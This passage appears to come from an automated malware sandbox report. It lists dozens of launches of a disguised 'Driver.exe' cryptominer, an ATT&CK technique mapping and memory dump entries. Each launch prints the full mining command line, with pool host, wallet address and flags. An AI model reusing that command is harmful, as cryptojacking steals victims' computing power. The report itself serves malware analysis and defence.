      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:2028
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1324
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:684
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:268
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1776
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1832
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:2028
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1628
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1076
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1584
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1488
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1100
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1164
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1164
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:812
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1716
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:604
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1412
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1384
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1668
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:520
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1764
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2028
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:904
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1980
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1428
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1488
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1644
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1868
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:572
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2040
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:768
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1412
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2028
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1100
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2020
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1428
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1524
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1116
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:544
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1756
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1720
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1628
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:572
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2028
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1616
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1604
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:2032
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:572
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1516
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1536
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:624
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1364
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1320
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:972
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      PID:1180
- - C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/532-113-0x00000000009E0000-0x0000000000E3B000-memory.dmp

Filesize
4.4MB

Download
memory/532-110-0x0000000075830000-0x0000000075887000-memory.dmp

Filesize
348KB

Download
memory/532-118-0x00000000758A0000-0x00000000764EA000-memory.dmp

Filesize
12.3MB

Download
memory/532-117-0x0000000074D00000-0x0000000074D80000-memory.dmp

Filesize
512KB

Download
memory/532-116-0x0000000077430000-0x00000000774BF000-memory.dmp

Filesize
572KB

Download
memory/532-115-0x00000000009E0000-0x0000000000E3B000-memory.dmp

Filesize
4.4MB

Download
memory/532-114-0x0000000000100000-0x0000000000145000-memory.dmp

Filesize
276KB

Download
memory/532-112-0x00000000772D0000-0x000000007742C000-memory.dmp

Filesize
1.4MB

Download
memory/532-103-0x0000000074D90000-0x0000000074DDA000-memory.dmp

Filesize
296KB

Download
memory/532-153-0x00000000029C0000-0x00000000029C1000-memory.dmp

Filesize
4KB

Download
memory/532-105-0x00000000009E0000-0x0000000000E3B000-memory.dmp

Filesize
4.4MB

Download
memory/532-106-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/532-148-0x0000000073F60000-0x0000000074055000-memory.dmp

Filesize
980KB

Download
memory/532-108-0x00000000755B0000-0x000000007565C000-memory.dmp

Filesize
688KB

Download
memory/532-109-0x00000000768D0000-0x0000000076917000-memory.dmp

Filesize
284KB

Download
memory/808-62-0x000007FEFBF31000-0x000007FEFBF33000-memory.dmp

Filesize
8KB

Download
memory/1088-128-0x00000000752D0000-0x00000000752DC000-memory.dmp

Filesize
48KB

Download
memory/1088-144-0x0000000074080000-0x0000000074095000-memory.dmp

Filesize
84KB

Download
memory/1088-82-0x0000000074D90000-0x0000000074DDA000-memory.dmp

Filesize
296KB

Download
memory/1088-122-0x0000000075040000-0x0000000075092000-memory.dmp

Filesize
328KB

Download
memory/1088-83-0x0000000000090000-0x0000000000091000-memory.dmp

Filesize
4KB

Download
memory/1088-121-0x0000000075020000-0x0000000075035000-memory.dmp

Filesize
84KB

Download
memory/1088-120-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download
memory/1088-123-0x00000000770B0000-0x00000000770E5000-memory.dmp

Filesize
212KB

Download
memory/1088-119-0x0000000075100000-0x0000000075117000-memory.dmp

Filesize
92KB

Download
memory/1088-134-0x0000000075890000-0x000000007589C000-memory.dmp

Filesize
48KB

Download
memory/1088-104-0x00000000758A0000-0x00000000764EA000-memory.dmp

Filesize
12.3MB

Download
memory/1088-84-0x0000000001140000-0x00000000011A2000-memory.dmp

Filesize
392KB

Download
memory/1088-124-0x0000000075010000-0x000000007501D000-memory.dmp

Filesize
52KB

Download
memory/1088-135-0x0000000076F40000-0x000000007705D000-memory.dmp

Filesize
1.1MB

Download
memory/1088-86-0x00000000755B0000-0x000000007565C000-memory.dmp

Filesize
688KB

Download
memory/1088-125-0x0000000075500000-0x0000000075519000-memory.dmp

Filesize
100KB

Download
memory/1088-136-0x0000000074A70000-0x0000000074A7B000-memory.dmp

Filesize
44KB

Download
memory/1088-126-0x0000000074E70000-0x0000000074EBF000-memory.dmp

Filesize
316KB

Download
memory/1088-127-0x0000000074F50000-0x0000000074FA8000-memory.dmp

Filesize
352KB

Download
memory/1088-87-0x00000000768D0000-0x0000000076917000-memory.dmp

Filesize
284KB

Download
memory/1088-130-0x0000000074CC0000-0x0000000074CDC000-memory.dmp

Filesize
112KB

Download
memory/1088-88-0x0000000075830000-0x0000000075887000-memory.dmp

Filesize
348KB

Download
memory/1088-90-0x00000000772D0000-0x000000007742C000-memory.dmp

Filesize
1.4MB

Download
memory/1088-131-0x00000000770F0000-0x0000000077117000-memory.dmp

Filesize
156KB

Download
memory/1088-132-0x0000000074C30000-0x0000000074C74000-memory.dmp

Filesize
272KB

Download
memory/1088-147-0x0000000077130000-0x00000000772CD000-memory.dmp

Filesize
1.6MB

Download
memory/1088-133-0x00000000740F0000-0x000000007412D000-memory.dmp

Filesize
244KB

Download
memory/1088-91-0x0000000001140000-0x00000000011A2000-memory.dmp

Filesize
392KB

Download
memory/1088-146-0x0000000076F10000-0x0000000076F22000-memory.dmp

Filesize
72KB

Download
memory/1088-145-0x0000000074070000-0x000000007407E000-memory.dmp

Filesize
56KB

Download
memory/1088-92-0x0000000001140000-0x00000000011A2000-memory.dmp

Filesize
392KB

Download
memory/1088-137-0x0000000074A80000-0x0000000074A97000-memory.dmp

Filesize
92KB

Download
memory/1088-143-0x0000000077130000-0x00000000772CD000-memory.dmp

Filesize
1.6MB

Download
memory/1088-142-0x0000000076F10000-0x0000000076F22000-memory.dmp

Filesize
72KB

Download
